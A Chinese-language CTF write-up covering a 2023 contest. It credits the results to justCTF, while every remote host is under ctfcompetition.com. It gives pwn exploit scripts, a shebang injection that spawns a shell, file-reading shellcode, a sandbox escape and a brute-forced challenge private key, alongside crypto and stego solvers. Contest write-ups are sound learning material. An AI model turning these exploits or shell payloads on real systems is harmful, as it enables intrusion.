在本次2023年的 justCTF 国际赛上,星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛,合力组成VP-Union联合战队,取得了第37名的成绩。
排名 | 队伍 | 总分 |
---|---|---|
31 | jmp fs: rcx | 2020 |
32 | nopnop | 2007 |
33 | ttt | 2001 |
34 | The Maccabees | 1979 |
35 | SNHT | 1977 |
36 | KITCTF | 1782 |
37 | VP-Union | 1742 |
38 | Katzebin | 1703 |
39 | 🇫🇷🛹🐻 | 1702 |
40 | ./Vespiary | 1650 |
PWN
ubf
a1->offset可为负数,导致向上溢出。
unsigned __int64 __fastcall fix_corrupt_booleans(node2 *a1)
{
unsigned __int64 result; // rax
unsigned __int64 v2; // [rsp+10h] [rbp-18h]
char *v3; // [rsp+18h] [rbp-10h]
int i; // [rsp+24h] [rbp-4h]
v3 = (char *)(a1->buf + a1->offset);
v2 = a1->buf + a1->size;
for ( i = 0; ; ++i )
{
result = (unsigned int)a1->len;
if ( i >= (int)result )
break;
result = (unsigned __int64)&v3[i];
if ( result >= v2 )
break;
v3[i] = v3[i] != 0;
}
return result;
}
利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('ubf.2023.ctfcompetition.com', 1337)
sh.recvuntil(b'encoded:')
payload = b''
payload += p32(5) + p8(115) + p16(1) + p16(2) + p16(5) + b'$FLAG'
payload += p32(0x28) + p8(98) + p16(1) + p16(0xff72) + b'\x01'
sh.sendline(base64.b64encode(payload))
sh.interactive()
write-flag-where
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('wfw1.2023.ctfcompetition.com', 1337)
sh.recvuntil(b'have a shot.\n')
image_addr = int(sh.recvuntil(b'-', drop=True), 16)
success('image_addr: ' + hex(image_addr))
sh.sendline(('0x%lx %u' % (image_addr+0x21e0, 80)).encode())
sh.interactive()
write-flag-where2
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='error')
def leak(offset, chr):
sh = remote('wfw2.2023.ctfcompetition.com', 1337)
sh.recvuntil(b'fluff\n')
image_addr = int(sh.recvuntil(b'-', drop=True), 16)
sh.recvuntil(b'\n\n\n')
sh.send(('0x%lx %u\n' % (image_addr+0x20BC-offset, offset+1)).encode().ljust(0x40, b'\0'))
sh.send(('%cx%lx %u\n' % (chr, image_addr, 0)).encode().ljust(0x40, b'\0'))
try:
sh.recvn(1, timeout=1)
sh.close()
return True
except EOFError:
sh.close()
return False
table = '_{}?' + string.digits + string.ascii_lowercase + string.ascii_uppercase
flag = 'CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}'
while(True):
find = False
for chr in table:
if leak(len(flag), chr):
find = True
flag += chr
print(flag)
break
if not find:
break
write-flag-where3
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('wfw3.2023.ctfcompetition.com', 1337)
result = sh.recvuntil(b'.so').split(b'\n')[-1]
libc_addr = int(result[:12], 16)
success('libc_addr: ' + hex(libc_addr))
sh.recvuntil(b'\n\n\n')
sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10-0x70, 0x78)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10, 1)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x115110+1, 1)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A28, 1)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A67, 1)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (0, 0x70)).encode().ljust(0x13, b'\0') + p32(1337))
sh.interactive()
storygen
顶部#可以执行任意程序
!/usr/bin/python3 -cimport os;os.system("sh");#
GRADEBOOK
update_grade函数可以修改结构体,导致溢出。
void __fastcall update_grade(__int64 *ptr_offset, __int64 i)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
grade *v3; // [rsp+18h] [rbp-8h]
if ( *ptr_offset )
{
if ( i == grade_num )
{
v3 = (grade *)((char *)addr + *ptr_offset);
v2 = 0LL;
output("NEW GRADE:\n");
__isoc99_scanf("%2s", &v2);
*(_WORD *)v3->grade = v2; // Hijack struct
}
}
}
利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
def remove_grade():
sh.sendlineafter(b'QUIT\n\n', b'3')
sh.sendlineafter(b'WHICH GRADE:\n', b'1')
def upgrade_grade():
sh.sendlineafter(b'QUIT\n\n', b'2')
sh.sendlineafter(b'WHICH GRADE:\n', b'1')
sh.sendlineafter(b'NEW GRADE:\n', b'\x40')
def add_grade(addr):
sh.sendlineafter(b'QUIT\n\n', b'1')
sh.sendlineafter(b'CLASS:\n', b'0')
sh.sendlineafter(b'COURSE TITLE:\n', b'\xff' * 7 + b'\0' + p64(addr) + p64(0))
sh.sendlineafter(b'GRADE:\n', b'0')
sh.sendlineafter(b'TEACHER:\n', b'0')
sh.sendlineafter(b'ROOM:\n', b'0')
sh.sendlineafter(b'PERIOD:\n', b'0')
sh = remote('gradebook.2023.ctfcompetition.com', 1337)
sh.sendlineafter(b'PLEASE LOGON WITH USER PASSWORD:\n', b'pencil')
sh.sendlineafter(b'3. QUIT\n\n', b'2')
sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'a'))
sh.sendlineafter(b'ENTER FILE SIZE:\n', str(0x100).encode())
sh.send(flat({0:b'G', 0x48:0xf0, 0x50:0x3a, 0x58:0xf0, 0x3a+0x2c:0x20202020}, filler=b'\0', length=0x100))
sh.sendlineafter(b'3. QUIT\n\n', b'1')
sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'a'))
sh.recvuntil(b'0' + b' ' * 0x10)
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))
upgrade_grade()
add_grade(stack_addr+0x38-0x00004752ade50000)
sh.recvuntil(b'\n ')
image_addr = u64(sh.recvn(6) + b'\0\0') - 0x2386
success('image_addr: ' + hex(image_addr))
sh.sendlineafter(b'QUIT\n\n', b'5')
sh.sendlineafter(b'3. QUIT\n\n', b'2')
sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'b'))
sh.sendlineafter(b'ENTER FILE SIZE:\n', str(0x100).encode())
sh.send(flat({0:b'G', 0x48:0xf0, 0x50:0x3a, 0x58:0xf0, 0x3a+0x2c:0x20202020,
0x48+0x80:0xffffffffffffff, 0x50+0x80:0x3a, 0x58+0x80:stack_addr + 8 - 0x00004752ade50080}, filler=b'\0', length=0x100))
sh.sendlineafter(b'3. QUIT\n\n', b'1')
sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'b'))
upgrade_grade()
add_grade(image_addr+0x50f0-0x1e-0x00004752ade50000)
sh.sendlineafter(b'QUIT\n\n', b'2')
sh.sendlineafter(b'WHICH GRADE:\n', b'1')
sh.sendlineafter(b'NEW GRADE:\n', b'\x80')
sh.sendlineafter(b'QUIT\n\n', b'1')
sh.sendlineafter(b'CLASS:\n', p64(image_addr + 0x16e1))
sh.interactive()
Crypto
LEAST COMMON GENOMINATOR?
- 公钥解析
- LCG
from gmpy2 import gcd, invert
from Crypto.Util.number import *
E = 65537
N = 10663197782188755187683519128391607889384236984841159980368295444757556251666173181966270935627381363634363152017932100870866073743196496182631686860974529519304898483583880797787662017633083156395595834399833548697123723014690019039843286516441722069672629491734333533874814655021750465470744221908153042891598629847474248035637833322061522018106952433195747728295433960640630861246440503259390376775374597599893181929337896828585045200809527092809746018806372033463639511758548910283175609247004446838778595246305426570138737826179346237355482797652195577697810275921391495040635386160960077290295503041318571091585994232128977189250560450541724526298324540333633756525782039764692046496665886338829810667477580556894564708344208454824227841439832096019161139930247745872364451624685509376111571650368725564985474387879414080347347860850162991841345901292668284154455326375190710973306072342463052980587717861754724857153296737480485351289440257347649463959856275061657492903860650820592573032713540474706170687783458640870091611869081448943812812946839710972240290444677129959352614435646729998203754847928052523568784250017348717982594389028978174915940120215557880850880860400503991453968452316505964854586987874049061874850121
seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
data = [
2166771675595184069339107365908377157701164485820981409993925279512199123418374034275465590004848135946671454084220731645099286746251308323653144363063385,
6729272950467625456298454678219613090467254824679318993052294587570153424935267364971827277137521929202783621553421958533761123653824135472378133765236115,
2230396903302352921484704122705539403201050490164649102182798059926343096511158288867301614648471516723052092761312105117735046752506523136197227936190287,
4578847787736143756850823407168519112175260092601476810539830792656568747136604250146858111418705054138266193348169239751046779010474924367072989895377792,
7578332979479086546637469036948482551151240099803812235949997147892871097982293017256475189504447955147399405791875395450814297264039908361472603256921612,
2550420443270381003007873520763042837493244197616666667768397146110589301602119884836605418664463550865399026934848289084292975494312467018767881691302197]
s = data
t = []
for i in range(1, len(s)):
t.append(s[i] - s[i - 1])
tt = []
for i in range(1, len(t) - 1):
tt.append(t[i + 1] * t[i - 1] - t[i] * t[i])
n = tt[0]
for i in tt:
n = gcd(n, i)
lcg_n = abs(n)
a = (s[2] - s[1]) * invert((s[1] - s[0]), lcg_n) % lcg_n
b = (s[1] - a * s[0]) % lcg_n
primes_n = 1
primes_arr = []
while True:
for i in range(8):
while True:
seed = (seed*a+b) % lcg_n
prime_candidate = seed
if not isPrime(prime_candidate):
continue
elif prime_candidate.bit_length() != 512:
continue
else:
primes_n *= prime_candidate
primes_arr.append(prime_candidate)
break
# Check bit length
if primes_n.bit_length() > 4096:
print("bit length", primes_n.bit_length())
primes_arr.clear()
primes_n = 1
continue
else:
break
# Create public key 'n'
n = 1
for j in primes_arr:
n *= j
print("[+] Public Key: ", n)
print("[+] size: ", n.bit_length(), "bits")
assert n == N
# Calculate totient 'Phi(n)'
phi = 1
for k in primes_arr:
phi *= (k - 1)
# Calculate private key 'd'
d = pow(E, -1, phi)
with open('4e90c59c2c12ac422f0b83094cca2c3e5c4c7cce464dddc5cb2ad391155f11c96a183290a289dfe1c64cc9e3cd467706f07e621904588ca4def3a4f6906234b7/flag.txt', 'rb') as f:
c = bytes_to_long(f.read()[::-1])
m = int(pow(c,d,n))
flag = long_to_bytes(m)
print(flag) # b'CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}'
PRIMES
- 爆破
_
的位置,减小x使得x小于q - 取余运算确定明文各位
import libnum
from itertools import product, combinations
from string import printable
printable = printable[:-6]
def to_bits(m):
_bin = lambda b : [1 if b & (1 << n) else 0 for n in range(7)]
return sum([_bin(b) for b in m], [])
def gen_primes(r, n):
primes = Primes()[:n]
bound = prod(primes[n - r:])
return primes, next_prime(bound)
def prod_exp(p, q, b):
return prod([p[i]^b[i] for i in range(len(p))]) % q
def encode(r, n, m):
p, q = gen_primes(r, n)
return p, q, prod_exp(p, q, to_bits(m))
def l2b(a:list):
a = [str(i) for i in a]
tmp = ''
for i in range(len(a)//7):
tmp += '0' + ''.join(a[i*7:(i+1)*7][::-1])
return libnum.n2s(int(tmp,2))
m = b"I have a sweet flag for you: CTF{YkDOLIStjpjP5Am1SXDt5d2r9es3b5KZP47v8rXF}"
known = b'I have a sweet flag for you: CTF{'
ml = to_bits(m)
p, q, x = encode(131, 7*len(m), m)
x = 0x947062E712C031ADD0B60416D3B87D54B50C1EFBC8DBB87346F960B242AF3DF6DD47406FEC98053A967D28FE91B130FF0FE93689122931F0BA6E73A3E9E6C873B8E2344A459244D1295E99A241E59E1EEA796E9738E6B1EDEED3D91AE6747E8ECA634C030B90B02BAF8AE0088058F6994C7CAC232835AC72D8B23A96F10EF03D74F82C49D4513423DAC298698094B5C631B9C7C62850C498330E9D112BB9CAA574AEE6B0E5E66D5B234B23C755AC1719B4B68133E680A7BCF48B4CFD0924D
for i in range(len(known)*7):
if ml[i]:
x = (x * inverse_mod(p[i], q)) % q
for i in range(-7,0): # }
if ml[i]:
x = (x * inverse_mod(p[i], q)) % q
tp = p[len(known)*7:-7]
r = 0 # 爆破中末尾字符的长度
rr = 5 # 爆破中下划线的出现次数
num_ = to_bits(b'_')
for i in product(printable, repeat=r):
i = ''.join(i).encode()
tmp_xx = x
tmp_b = to_bits(i)
for k in range(len(tmp_b)): # 消字符
if tmp_b[k]:
tmp_xx = (tmp_xx * inverse_mod(tp[k-7*r], q)) % q
for tt in combinations(range(1, 40-r), rr):
real_ml = []
tmp_x = tmp_xx
for t in tt: # 消下划线
for k in range(len(num_)):
if num_[k]:
tmp_x = (tmp_x * inverse_mod(tp[7*t+k], q)) % q
if int(tmp_x).bit_length() <= 1515:
for j in tp:
if len(real_ml) == 7:
if all([i==0 for i in real_ml]):
break
if (tmp_x % j) == 0:
real_ml.append(1)
else:
real_ml.append(0)
if r != 0:
tttt = l2b(real_ml)[:-r]
else:
tttt = l2b(real_ml)
if (len(real_ml) > 7) and (len(str(tttt))<60) and (tttt.count(b'\x00')<10):
print(i)
print(real_ml)
print(l2b(real_ml))
print(tttt.replace(b'\x00', b'_')+i)
# w0W_c0Nt1nUed_fr4Ct10ns_suR3_Ar3_fUn_Huh
# CTF{w0W_c0Nt1nUed_fr4Ct10ns_suR3_Ar3_fUn_Huh}
MYTLS
使用guest登录在write-only file storage的时候可以利用代码达到一个爆破server-ecdhkey.pem的目的,爆破的原理就是241的长度我们可以覆盖前面240个保留最后一个原本的字符串,然后去爆破sha256,先爆破文件长度是241,然后是爆破了内容
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgodXSjxjUm89w/y6m
hRc9c7aOOYIgy5m4K++AXeErUKahRANCAARNWVuTXe/JBFanevD4MMlIDyZ8xXKz
nyUf63kGe9RBfFPek03cHJhEM5Fhe/1hHS2Jz2+R9zZWHd5gVYWFf2uC
-----END PRIVATE KEY-----
得到了私钥之后按照原本的逻辑去写一个交互即可
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import hmac
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from Crypto.Util.number import *
from secrets import token_hex
from pwn import *
def print_encrypted(payload, iv, key):
cipher = Cipher(
algorithms.AES(key),
modes.CBC(binascii.unhexlify(iv)))
decryptor = cipher.decryptor()
payload = long_to_bytes(int(payload,16))
return decryptor.update(payload).strip(b'\x00')
tube = remote("mytls.2023.ctfcompetition.com", 1337)
with open('ca-crt.pem', 'rb') as ca_file:
ca = x509.load_pem_x509_certificate(ca_file.read())
with open('server-ecdhcert.pem', 'rb') as server_cert_file:
server_cert_content = server_cert_file.read()
server_cert = x509.load_pem_x509_certificate(server_cert_content)
ca.public_key().verify(
server_cert.signature,
server_cert.tbs_certificate_bytes,
padding.PKCS1v15(),
server_cert.signature_hash_algorithm)
with open('server-ecdhkey.pem', 'rb') as server_key_file:
server_key = serialization.load_pem_private_key(server_key_file.read(),
None, default_backend())
tube.recvuntil(b"Please provide the client certificate in PEM format:\n")
for i in open('admin-ecdhcert.pem', 'rb').read().split(b"\n"):
tube.sendline(i)
tube.recvuntil(b"Please provide the ephemeral client random:\n")
client_ephemeral_random = token_hex(16)
tube.sendline(client_ephemeral_random.encode())
client_ephemeral_key = ec.generate_private_key(ec.SECP256R1(),default_backend())
client_ephemeral_public_key = client_ephemeral_key.public_key()
client_ephemeral_public_key_pem = client_ephemeral_public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo)
tube.recvuntil(b"Please provide the ephemeral client key:\n")
for i in client_ephemeral_public_key_pem.split(b"\n"):
tube.sendline(i)
client_cert = x509.load_pem_x509_certificate(open('admin-ecdhcert.pem', 'rb').read())
tube.recvuntil(b"Server ephemeral random:\n")
server_ephemeral_random = tube.recvline().strip(b"\n").decode()
tube.recvuntil(b'Server ephemeral key:\n')
server_ephemeral_public_key = serialization.load_pem_public_key(tube.recvuntil(b'-----END PUBLIC KEY-----\n\n'))
server_ephemeral_secret = client_ephemeral_key.exchange(ec.ECDH(), server_ephemeral_public_key)
server_secret = server_key.exchange(ec.ECDH(), client_cert.public_key())
derived_key = HKDF(algorithm=hashes.SHA256(),length=32,salt=b'SaltyMcSaltFace',info=b'mytls').derive(server_ephemeral_secret +server_secret +client_ephemeral_random.encode('utf-8') +server_ephemeral_random.encode('utf-8'))
client_hmac = hmac.HMAC(derived_key, hashes.SHA256())
client_hmac.update(b'client myTLS successful!')
tube.recvuntil(b"Please provide the client HMAC:\n")
tube.sendline(binascii.hexlify(client_hmac.finalize()))
tube.recvuntil(b"Server HMAC:\n")
w = tube.recvline().strip(b"\n")
server_hmac = hmac.HMAC(derived_key, hashes.SHA256())
server_hmac.update(b'server myTLS successful!')
server_hmac.verify(binascii.unhexlify(w))
r=tube.recvline().strip(b"\n")
print(print_encrypted(r, server_ephemeral_random, derived_key))
re
ZERMATT
代码写的很难看,但是仔细观察可以发现每一次操作前面都会出现03xx3O00的格式猜测这是固定的,然后搜索一下read,print中间的,发现存在着两段数据,然后其实基本的操作符很少,猜测一下常用的,在使用异或的时候发现了CTF{字样,成功得到flag
from Crypto.Util.strxor import *
from Crypto.Util.number import *
s1 = "DF17EB31E4E81CC12FC4EF37F223D1C334CC39FAF22CD915C4C321D43EC0FF2CC92FFAFE22DE2FFAEF22C32EC7F33BF22FD6FF22DD2FD8"
s2 = "9C43AD4AA5"
s1=long_to_bytes(int(s1,16))
s2=long_to_bytes(int(s2,16))
k=b''
for i in range(len(s1)//len(s2)):
k+=strxor(s1[i*len(s2):(i+1)*len(s2)],s2)
print(k)
#CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}
MISC
PAPAPAPA
前期各种lsb、盲水印、binwalk、zsteg都不行 后来想到手动改宽高 发现还真有点东西
于是基于这张图片2.jpg 写脚本爆破jpg宽度(此时这张图片的高度是0200 宽度0300 并且宽高的字节位置也发生了变化)
import struct
filename = input("file:")
with open(filename, 'rb') as f:
all_b = f.read()
#w = all_b[159:161]
#h = all_b[157:159]
for i in range(512,1500):
name = str(i) + ".jpg"
f1 = open(r"./output/" + name,"wb")
im = all_b[:201]+struct.pack('>h',i)+all_b[203:]
f1.write(im)
f1.close()
得到flag
CTF{rearview-monorail-mullets-backroom-stopped}
SYMATRIX
cython里面实际上包含了python源代码,只不过有点像编译过程被拆开来了,我们可以搜索encoder.py去依次寻找恢复原python代码
from PIL import Image
from random import randint
import binascii
def hexstr_to_binstr(hexstr):
n = int(hexstr, 16)
bstr = ''
while n > 0:
bstr = str(n % 2) + bstr
n = n >> 1
if len(bstr) % 8 != 0:
bstr = '0' + bstr
return bstr
def pixel_bit(b):
return tuple((0, 1, b))
def embed(t1, t2):
return tuple((t1[0] + t2[0], t1[1] + t2[1], t1[2] + t2[2]))
def full_pixel(pixel):
return pixel[1] == 255 or pixel[2] == 255
print("Embedding file...")
bin_data = open("./flag.txt", 'rb').read()
data_to_hide = binascii.hexlify(bin_data).decode('utf-8')
base_image = Image.open("./original.png")
x_len, y_len = base_image.size
nx_len = x_len * 2
new_image = Image.new("RGB", (nx_len, y_len))
base_matrix = base_image.load()
new_matrix = new_image.load()
binary_string = hexstr_to_binstr(data_to_hide)
remaining_bits = len(binary_string)
nx_len = nx_len - 1
next_position = 0
for i in range(0, y_len):
for j in range(0, x_len):
pixel = new_matrix[j, i] = base_matrix[j, i]
if remaining_bits > 0 and next_position <= 0 and not full_pixel(pixel):
new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[0])),pixel)
next_position = randint(1, 17)
binary_string = binary_string[1:]
remaining_bits -= 1
else:
new_matrix[nx_len - j, i] = pixel
next_position -= 1
new_image.save("./symatrix.png")
new_image.close()
base_image.close()
print("Work done!")
exit(1)
然后写一个脚本逆一下过程就能恢复flag
from PIL import Image
import binascii
def get_lsb(pixel,pixel2):
return pixel2[2]-pixel[2]
def extract_data(image_path):
# 从图像中提取隐藏的数据
image = Image.open(image_path)
width, height = image.size
index=image.load()
data = ""
for i in range(height):
for j in range(width//2):
pixel = index[j,i]
if(pixel!=index[width-1-j,i]):
lsb = get_lsb(pixel,index[width-1-j,i])
data += str(lsb)
image.close()
return data
def binary_to_hex(binary_str):
# 将二进制字符串转换为十六进制字符串
hex_str = hex(int(binary_str, 2))[2:]
return hex_str
def hex_to_ascii(hex_str):
# 将十六进制字符串转换为ASCII字符串
ascii_str = binascii.unhexlify(hex_str).decode('utf-8')
return ascii_str
# 从图片中提取数据
data = extract_data("./symatrix.png")
print(hex_to_ascii(binary_to_hex(data)))
#CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}
Sandbox
fastbox
句柄未清理干净,可以和forkClient进行通信。通过句柄4可以进行协议同步,并设置hostname来伪造forkRequest请求,从而绕过pivot_chroot沙箱。
$ ls -l /proc/67/fd
total 0
lrwx------ 1 1000 1000 64 Jun 26 02:27 0 -> 'socket:[124445]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 1 -> 'socket:[124445]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 1023 -> 'socket:[69962]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 1337 -> '/memfd:payload (deleted)'
lrwx------ 1 1000 1000 64 Jun 26 02:27 2 -> 'socket:[124445]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 4 -> 'socket:[69961]'
利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('localhost', 9541)
sh.sendlineafter(b'Payloads to execute [0-5]: ', str(2).encode())
sh.sendlineafter(b'Hostname: ', b'google')
payload = asm('''
mov edi, 4
lea rsi, [rsp-0x1000]
mov edx, 4+8+18
mov eax, 0
syscall
mov edi, 1
lea rsi, [rsp-0x1000]
mov edx, eax
mov eax, 1
syscall
mov edi, 1
mov eax, 231
syscall ;// exit
''')
sh.sendlineafter(b'Payload size in bytes [<1MiB]: ', str(len(payload)).encode())
sh.send(payload)
fake_protocol = b"\30\x03\x20\x80\x80\x80\xe4\x062\6\22\4\"\2\30\0:\6google@\0H\1"
hostname = p32(0x80000102) + p64(len(fake_protocol) + 4) + fake_protocol
time.sleep(1)
payload = asm('''
xor eax, eax
push rax
mov rax, 0x7478742e67616c66
push rax
;// "flag.txt"
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''')
sh.sendlineafter(b'Hostname: ', hostname)
sh.sendlineafter(b'Payload size in bytes [<1MiB]: ', str(len(payload)).encode())
sh.send(payload)
sh.interactive()